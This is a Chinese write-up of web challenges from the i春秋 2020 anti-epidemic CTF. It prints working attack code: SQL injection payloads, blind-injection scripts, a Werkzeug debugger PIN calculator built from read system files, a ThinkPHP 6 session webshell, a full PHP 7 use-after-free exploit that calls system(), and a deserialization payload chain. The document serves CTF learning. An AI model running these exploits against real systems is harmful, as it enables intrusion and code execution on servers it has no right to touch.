i春秋新春抗疫赛-WP

武汉加油,这比赛确是为抗疫情尽了一份力量。web题,除了最后的两个nodejs都整出来了(真的不想做nodejs,目前转移动方向了,所以就先放一放),写一下Writeup

ezupload

水题,上传一直马,然后执行readflag即可。

image-20200224170443948

image-20200224170422159

简单的招聘系统

image-20200224170646382

测试一下,注册了一个名字为test1的账号,在Profile这里有显示,我注册密码是123,和这个key没啥关系,说实话,这里我都没有多想,稍微自己写过一些代码的,譬如学校那种傻逼垃圾web课做的某学生管理系统类似的那种项目,都能猜测出来这题的思路。

数据库的储存应该是id, username,password,key

这个key应该是随机生成的,而id是写在register.php里面的,然后进行测试。

猜测注册的语句应该是$sql=insert into table values($id,'$username','$password','$key'),这个key是随机生成的,但是如果存在注入,我们就可以给他直接赋值进去。

注册用户名为

yds3’,’123’,(select group_concat(table_name) from information_schema.tables where table_schema=database()))#

注册成功,但是登陆失败,应该是密码的问题吧,密码一般都是md5储存的,那就要吧 123 md5一下

yds4’,’202cb962ac59075b964b07152d234b70’,(select group_concat(table_name) from information_schema.tables where table_schema=database()))#

成功image-20200224173742427

yds5’,’202cb962ac59075b964b07152d234b70’,(select group_concat(column_name) from information_schema.columns where table_name=’flag’))#

image-20200224173854641

yds6’,’202cb962ac59075b964b07152d234b70’,(select flaaag from flag))#

image-20200224174024731

Flaskapp

分析:

这个题目之前出现过,但之前出现的考点听说是非预期。

我是按照文件读取+pin码计算做出来的。

image-20200224174226617

看到是开了debugger的,有console的界面,所以就要想尽办法读出计算pin码需要的参数,然后计算pin码,然后进debugconsole为所欲为

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485377957896',# str(uuid.getnode()), /sys/class/net/ens33/address
'e96996169e90130c1b6e2b3fb9af5b39abcacc1b1f84211a58e27854c3a1219e'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)
1
2
3
4
5
6
7
计算pin码需要的参数:
username 服务器登陆的用户名
modname 定值 flask.py
getattr(app, '__name__', getattr(app.__class__, '__name__')) 定值为'Flask',
getattr(mod, '__file__', None) app.py的绝对路径
str(uuid.getnode()) 网卡mac地址的十进制数
get_machine_id() machine-id /etc/machine-id

我们需要读取系统文件才能获取这些值,这个很明显是flask的ssti,在解密的地方有注入点,当然经过测试,我知道的文件执行的都被过滤了。所以不能直接RCE(听说预期解是直接RCE)

image-20200224175107132

可以直接进行文件读取,在/etc/passwd的结尾处就是现在的username,为flaskweb

网卡的mac地址储存在/sys/classes/net/eth0/addressimage-20200224175447603

十进制就是

image-20200224175539920

在解码的地方随便输入啥,解码失败就会弹出debug页面,可以获得app.py的绝对路径

image-20200224175710799

这样的话就只有最后一个参数

get_machine_id() 需要获得了,这个参数是machine-id,看一下python包中pin读取这个值的源码

image-20200224175834516

这个值先获取服务器上的/etc/machine-id文件内容,如果没有的话,就是/proc/sys/kernel/random/boot_id,但是这两个值我读取以后计算的pin码都是错误的,这里也是个坑点

image-20200224175107132

这一步看到了是有/home/flaskweb文件夹的,然后我去读取,显示文件夹不存在

这就让我怀疑一个点。。这里的machine-id应该是docker的,这个题目运行在docker上

然后读取/proc/self/cgroup

image-20200224180443971

这串数字才是真正的machine-id

然后带入exp计算就可以了,得到的pin码输入到console界面,然后为所欲为。

image-20200224180935610

easysqli_cop

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php 
function check($str)
{
if(preg_match('/union|select|mid|substr|and|or|sleep|benchmark|join|limit|#|-|\^|&|database/i',$str,$matches))
{
print_r($matches);
return 0;
}
else
{
return 1;
}
}
try
{
$db = new PDO('mysql:host=localhost;dbname=pdotest','root','******');
}
catch(Exception $e)
{
echo $e->getMessage();
}
if(isset($_GET['id']))
{
$id = $_GET['id'];
}
else
{
$test = $db->query("select balabala from table1");
$res = $test->fetch(PDO::FETCH_ASSOC);
$id = $res['balabala'];
}
if(check($id))
{
$query = "select balabala from table1 where 1=?";
$db->query("set names gbk");
$row = $db->prepare($query);
$row->bindParam(1,$id);
$row->execute();
}

过滤很严格,但是没有过滤set,rename,prepare这些,所以应该是用set->prepare from -> execute这里可以用字符串来绕过select的检测,也可以直接set执行的sql语句的十六进制。

然后要考虑怎么闭合引号,看到了check函数中的$db->query("set names gbk");宽字节没跑了。

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import binascii
import time


sql = "select if(1,sleep(5),1)"
sql = '0x' + binascii.hexlify(sql.encode()).decode()
url = "http://1c0ce367a71540a5a4cb697daf01c0dd81bd652ad2e84f08.changame.ichunqiu.com/?id="
payload = "1%df%27;set%20@s=" + sql + ";prepare%20a%20from%20@s;execute%20a;"
url_s = url + payload

start_time = time.time()

response = requests.get(url_s)

print(time.time() - start_time)

image-20200224183017767

可以sleep延时注入。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import requests
import time
import string
import binascii

strings = string.digits + string.ascii_letters + "_-@{}"
data = ''

# for i in range(1, 100):
# for j in strings:
# sql = "select if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,%d)='%s',sleep(2),1)" % (i, data+j)
# sql1 = '0x'+binascii.hexlify(sql.encode()).decode()
# url = "http://1c0ce367a71540a5a4cb697daf01c0dd81bd652ad2e84f08.changame.ichunqiu.com/?id=1%df%27;set%20@s="+sql1+";prepare%20a%20from%20@s;execute%20a;"
# start_time = time.time()
#
# response = requests.get(url)
#
# if time.time() - start_time > 2:
# data += j
# print(data)
# break
#
# else:
# print(data+j,"no")

# table = 'table1'

# for i in range(1, 100):
# for j in strings:
# sql = "select if(substr((select column_name from information_schema.columns where table_name='table1' limit 2,1),1,%d)='%s',sleep(2),1)" % (i, data+j)
# sql1 = '0x'+binascii.hexlify(sql.encode()).decode()
# url = "http://1c0ce367a71540a5a4cb697daf01c0dd81bd652ad2e84f08.changame.ichunqiu.com/?id=1%df%27;set%20@s="+sql1+";prepare%20a%20from%20@s;execute%20a;"
# start_time = time.time()
#
# response = requests.get(url)
#
# if time.time() - start_time > 2:
# data += j
# print(data)
# break
#
# else:
# print(data+j, "no")

# column= "fllllll4g"


for i in range(1, 100):
for j in strings:
sql = "select if(substr((select fllllll4g from table1),1,%d)='%s',sleep(2),1)" % (i, data+j)
sql1 = '0x'+binascii.hexlify(sql.encode()).decode()
url = "http://1c0ce367a71540a5a4cb697daf01c0dd81bd652ad2e84f08.changame.ichunqiu.com/?id=1%df%27;set%20@s="+sql1+";prepare%20a%20from%20@s;execute%20a;"
start_time = time.time()

response = requests.get(url)

if time.time() - start_time > 2:
data += j
print(data)
break

else:
print(data+j,"no")

blacklist

这个题目和强网杯的随便注很像,但是过滤的东西更多了,set,rename都被过滤掉了,但是。。有个handler没有被过滤,首先还是堆叠注入

image-20200224185014909

image-20200224185042344

最后一步利用handler来读取

image-20200224185226731

盲注

这题不知道为啥这么少人做出来,也是很基础的盲注。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
# flag在fl4g里
include 'waf.php';
header("Content-type: text/html; charset=utf-8");
$db = new mysql();

$id = $_GET['id'];

if ($id) {
if(check_sql($id)){
exit();
} else {
$sql = "select * from flllllllag where id=$id";
$db->query($sql);
}
}
highlight_file(__FILE__);

而且还直接提示了flag在fl4g里

测试

1
2
3
4
5
6
7
8
9
import requests
import time

url = 'http://f99d8fddee2c41e2885061864356ab5c57608d9bd0b7463a.changame.ichunqiu.com/'
payload = '?id=-1 or sleep(5)'
start_time = time.time()
response = requests.get(url+payload)

print(time.time() - start_time)

image-20200224185712711

可以用sleep延时注入。

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests
import time
import string

url = 'http://f99d8fddee2c41e2885061864356ab5c57608d9bd0b7463a.changame.ichunqiu.com/'

strings = string.digits + string.ascii_lowercase + '_-{}'
tmp=''

for i in range(1,100):
for j in 'abcdefghigklmnopqrstuvwxyz0123456789-{}':
payload = '?id=-1 or mid(fl4g,1,%d) in ("%s") and sleep(2)' % (i, tmp+j)
start_time = time.time()
param = ''
response = requests.get(url+payload)
if time.time() - start_time > 2:
print(tmp+j)
tmp = tmp + j
break
else:
print(tmp+j,"no")

Ezsqli

这题感觉还是挺棒棒的,

分析

简单的看就是输入id,然后输出那个人

2的时候是Hello CQGAME,3的时候是Hello QAQ

经过测试以后,过滤的东西其实不多,但是很重要很重要的or被过滤了,那就有太多东西用不了,经过测试union select这样的形式也被过滤了,但是单个selectsleep是可以使用的,所以这里应该是一个布尔注入,我是用位运算的。

image-20200224190546845

image-20200224190601509

所以|后面的表达式如果返回1,那就返回QAQ,如果返回0,就返回CQGAME

本题重点来了,or被过滤了就不能使用information_schema表了,在高版本的mysql中,还有一张表储存了表名,sys.schema_table_statistics,然后我们来搞出表名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import binascii
import string
from lxml import etree


url = 'http://f9a7593fa9e548adaa6f5849cdbc8786f2530fa64d054307.changame.ichunqiu.com/index.php'
strings = string.digits + string.ascii_lowercase + "_-@{}"
yes=''

for i in range(1,100):
for j in strings:
payload = "(2|(substr((select table_name from sys.schema_table_statistics where table_schema=database() limit 1,1),1,%d)='%s'))" % (i, yes+j)

data = {
"id": payload
}

response = requests.post(url, data)
if response.text.find('QAQ') != -1:
yes += j
print(yes)
break

else:
print(yes+j, "no")

得到表名为f1ag_1s_h3r3_hhhhh

问题在于我们无法得到列名,这里就用到无列名注入了,但是join被过滤了,所以要采取另外一种无列名注入的方法。

首先通过(2|(MID((select (select 1,1) = (select * from f1ag_1s_h3r3_hhhhh limit 0,1)),1,1)=0))猜测出列的数量有两个(测试以后发现是id和username,但我们其实不需要这个)

image-20200224191737995

通过(2|(select (select 1) = (select count(*) from f1ag_1s_h3r3_hhhhh)))猜测出共有一条记录

image-20200224191920516

通过(2|(select (select 1) = (select id from f1ag_1s_h3r3_hhhhh)))猜测出记录有一个字段为id=1

image-20200224192214769

然后测试(2|(select (select 'a') = (select username from f1ag_1s_h3r3_hhhhh limit 0,1))),这是一个问题了,虽然没有错误,但是依照这种方式的比较,脚本怎么跑都不对,后来我想到,这里应该是做过预处理了。。所以用十六进制进行绕过

然后就可以开始写脚本了,over

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import binascii
import string
from lxml import etree

url = 'http://f9a7593fa9e548adaa6f5849cdbc8786f2530fa64d054307.changame.ichunqiu.com/index.php'
strings = '-'+string.digits+string.ascii_lowercase+"{}"
yes=''


for i in range(100):
for j in strings:
payload = "2|((select 1,0x%s) > (select * from f1ag_1s_h3r3_hhhhh))" % (binascii.hexlify((yes+j).encode()).decode())
# print(payload, end='')
data = {
"id": payload
}

response = requests.post(url, data)
if response.text.find('QAQ') != -1:
yes += strings[strings.index(j)-1]
print(yes)
break
else:
print(yes+j, "no")

easy_thinking

首先扫目录有www.zip泄漏

看到是thinkphp6.0,一开心,我刚把所有thinkphp已知的漏洞审计过一遍。

middleware中发现,开启了session,不用说,必然是thinkphp6.0的session任意写文件

image-20200224192901086

任意文件控制的地方就在search功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function search()
{
if (Request::isPost()){
if (!session('?UID'))
{
return redirect('/home/member/login');
}
$data = input("post.");
$record = session("Record");
if (!session("Record"))
{
session("Record",$data["key"]);
}
else
{
$recordArr = explode(",",$record);
$recordLen = sizeof($recordArr);
if ($recordLen >= 3){
array_shift($recordArr);
session("Record",implode(",",$recordArr) . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}

}
session("Record",$record . "," . $data["key"]);
return View::fetch("result",["res" => "There's nothing here"]);
}else{
return View("search");
}

可以看到我们搜索的语句,是保存在这里的,而sessionid又是在cookie可控的,在cookie中把session的后缀改成.php即可,就能成功写入木马了

image-20200224193320747

冲一发

image-20200224193607133

image-20200224194039402

可以成功的扫描目录,发现根目录油flag,和readflag,但是flag不可读,disable_function限制的明明白白image-20200224194209262

所有系统执行函数都不能用,看到了php7.2.24版本,可以使用手段绕过。然后我脸上蚁剑以后把马改掉了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
<?php

$cmd = $_GET['yds'];

pwn($cmd);
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $text_size) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = 1;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10; # increase this value if you get segfaults
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[0] = ptr2str(0, 79);
unset($v);
$abc = $out[2][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}

image-20200224195308814

成功

babyphp

这道题做了好久好久才做出来,不太应该。

扫描了一下有www.zip泄漏

问题是出在update上面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
require_once('lib.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
<h2>这是一个未完成的页面,上线时建议删除本页面</h2>
</html>';
if ($_SESSION['login']!=1){
echo "你还没有登陆呢!";
}
$users=new User();
$users->update();
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}
?>

这里需要$_SSESION['login']===1就会输出flag

这里执行的$users->update()正好有一个可控的unserialize

image-20200224200708480

追溯一下这歌User类再lib.php

image-20200224195843259

虽然找到了这个文件读取的函数,但是没有echo可以把输出链连起来,那思路就应该让_$SESSION['id']===1

搜索__toString,发现User类就有__toString方法,在UpdateHelper类中,把$sql设为User类就可以出发__toString,而这里的$this->nickname->update(),nickname$this->age都是可控的,满足我们构造pop链的条件

image-20200224201438687

image-20200224201354019

搜索可用的__call方法,在Info类中,所以只要把User中的$nickname设为Info类,$Info类中的$CtrlCase设为

dbCtrl类,然后控制User中的$age,我们就可以执行任意的sql语句了,其中还要保证dbCtrl->taken=='admin',

这里$result->bind_result($idResult, $passwordResult);

最后输出的是$idResult也就是id,如果我们把sql语句换成select password,id from user,那输出的就是password了。

image-20200224201549678

image-20200224203612668

现在就是要传入这个序列化的字符串了,看回update函数

image-20200224202141671

追溯getNewinfo,和Info

image-20200224202207795

image-20200224202308255

这里的返回的是Info类的序列化字符串,但是这里采用的是替代字符串,反序列化字符逃逸!这里构造方法就不说了。。0ctf piapiapia我自己写的wp已经写的很详细了,直接上exp和payload,这样我们可以通过POST进age和nickname参数来实现反序列化

image-20200224202601220

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name;
public $password;
public $mysqli;
public $token;

function __construct()
{
$this -> token = "admin";
}
}

class Info{
public $age;
public $nickname;
public $CtrlCase;

function __construct()
{
$this->CtrlCase = new dbCtrl();
}
}

class User
{
public $id;
public $age=null;
public $nickname=null;

function __construct()
{
$this->nickname = new Info();
$this->age = "select password, id from user where username=\"admin\"";
}
}

Class UpdateHelper{
public $id;
public $newinfo;
public $sql;

function __construct()
{
$this->sql = new User();
}
}

$a = new UpdateHelper();
echo serialize($a);

$payload = "filefile".str_repeat("*",'87')."\";s:8:\"CtrlCase\";O:12:\"UpdateHelper\":3:{s:2:\"id\";N;s:7:\"newinfo\";N;s:3:\"sql\";O:4:\"User\":3:{s:2:\"id\";N;s:3:\"age\";s:52:\"select password, id from user where username=\"admin\"\";s:8:\"nickname\";O:4:\"Info\":3:{s:3:\"age\";N;s:8:\"nickname\";N;s:8:\"CtrlCase\";O:6:\"dbCtrl\":8:{s:8:\"hostname\";s:9:\"127.0.0.1\";s:6:\"dbuser\";s:4:\"root\";s:6:\"dbpass\";s:4:\"root\";s:8:\"database\";s:4:\"test\";s:4:\"name\";N;s:8:\"password\";N;s:6:\"mysqli\";N;s:5:\"token\";s:5:\"admin\";}}}}";
echo $payload;

登陆成功

image-20200224221747121